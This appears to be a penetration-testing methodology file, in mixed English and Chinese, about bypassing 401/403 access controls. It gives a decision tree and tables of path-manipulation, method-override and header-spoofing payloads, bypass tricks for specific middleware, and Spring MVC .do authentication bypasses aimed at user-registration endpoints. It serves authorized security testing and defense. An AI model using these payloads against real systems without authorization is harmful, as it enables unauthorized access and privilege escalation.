401-403-bypass

401/403 Bypass Methodology

Core idea: Reverse proxy/WAF checks one path format, but the backend performs different path normalization.

In-depth Reference

• Complete List of Path Manipulation Payloads → references/path-manipulation-payloads.md
• HTTP Method/Header Bypass → references/method-header-bypass.md
• Middleware-Specific Bypasses and Combination Attacks → references/middleware-combo-bypass.md

---

Decision Tree

遇到 401/403？
├── 1. 路径操纵（成功率最高）
│   ├── /path/ → /PATH → /path%20 → /./path → //path
│   ├── /path;x → /path..;/ → /%2e/path → /path%00
│   └── 200？→ 绕过成功
├── 2. 方法绕过
│   ├── POST/PUT/PATCH/DELETE/OPTIONS/HEAD
│   ├── X-HTTP-Method-Override: PUT
│   └── PROPFIND/自定义方法
├── 3. Header 绕过
│   ├── X-Original-URL: /path（Nginx/IIS）
│   ├── X-Forwarded-For: 127.0.0.1（IP 白名单）
│   └── Referer/Origin/Host 伪造
├── 4. 协议绕过
│   └── HTTP/1.0
├── 5. 组合攻击
│   └── Method + Path + Header 三合一
├── 全部失败 → 其他思路
│   ├── 请求走私 → cache-poisoning-smuggling
│   ├── SSRF → ssrf-methodology
│   ├── IDOR → idor-methodology
│   └── 认证逻辑 → privilege-escalation-web
└── 自动化扫描 byp4xx / 403bypasser

---

Quick Reference — Path Manipulation Key Points

Technique	Example
Trailing Slash/Dot	/admin/ /admin/.
Case Sensitivity	/Admin /ADMIN
URL Encoding	/%61dmin /admi%6e
Double Encoding	/%2561dmin
Unicode Overlong Encoding	/admi%C0%AE
Dot Segment/Path Traversal	/./admin //admin
NULL Byte	/admin%00 /admin%00.json
Path Parameters (Tomcat)	/admin;foo /;/admin
Backslash (IIS)	/admin\

Quick Reference — Method/Header Key Points

Technique	Example
Method Switching	POST /admin PUT /admin
Method Override	X-HTTP-Method-Override: PUT
URL Rewriting	X-Original-URL: /admin
IP Spoofing	X-Forwarded-For: 127.0.0.1
Protocol Downgrade	GET /admin HTTP/1.0

Middleware Quick Lookup

Server	Key Technique
Apache	/admin/(trailing slash), /.admin(dot prefix)
Nginx	/Admin(case sensitivity), X-Original-URL
IIS/ASP.NET	/admin;.css, /admin\, /admin::$DATA
Tomcat/Java	/admin;foo, /admin..;/, /;/admin
Spring	/admin.anything(legacy suffix matching)

See references file for the complete payload list

Spring MVC .do Authentication Bypass and 302 Login Redirect

Common in Java government/enterprise systems *.do(Spring MVC) interfaces, where differences in authentication implementation often lead to bypasses:

请求 .do 接口 → 302 跳转登录页 (login_tologin.do)
├── 1. 去掉 .do 后缀重试：/user.do → /user
├── 2. 加后缀绕过：/user.do → /user.do/、/user.do;.css、/user.do?x=
├── 3. 大小写/编码：/User.do、/%75ser.do
├── 4. 方法切换：GET → POST → PUT
├── 5. 直接带参数访问：login_tologin.do 类登录/注册入口无鉴权时
│   └── 尝试未授权调用 registersysuser / goedituser 类注册、改用户接口
├── 6. 302 响应分析：Location 中泄露内部路径/参数
└── 7. Cookie/Session 复用：登录接口 302 后 Set-Cookie 未校验

• registersysuser(register user),goedituser(edit user) and other interface names are common in production environments; if unauthenticated, unauthorized registration/modification of users (privilege escalation registration) is possible. During testing, first confirm the interface exists, then verify permissions.
• Criteria: Access protected interfaces without carrying a login state; if business data/successful operations are returned instead of 401/403/302, authentication is broken.

Domestic/Java System Authentication Bypass Quick Reference

Scenario	Attempt
Spring MVC .do Interface	Remove suffix, add suffix, change case, switch method
302 Login Redirect	Analyze Location, directly access business interfaces
Register/Modify User Interface	Unauthenticated calls to registersysuser, goedituser
Whitelist Path	/api/health prefix + path traversal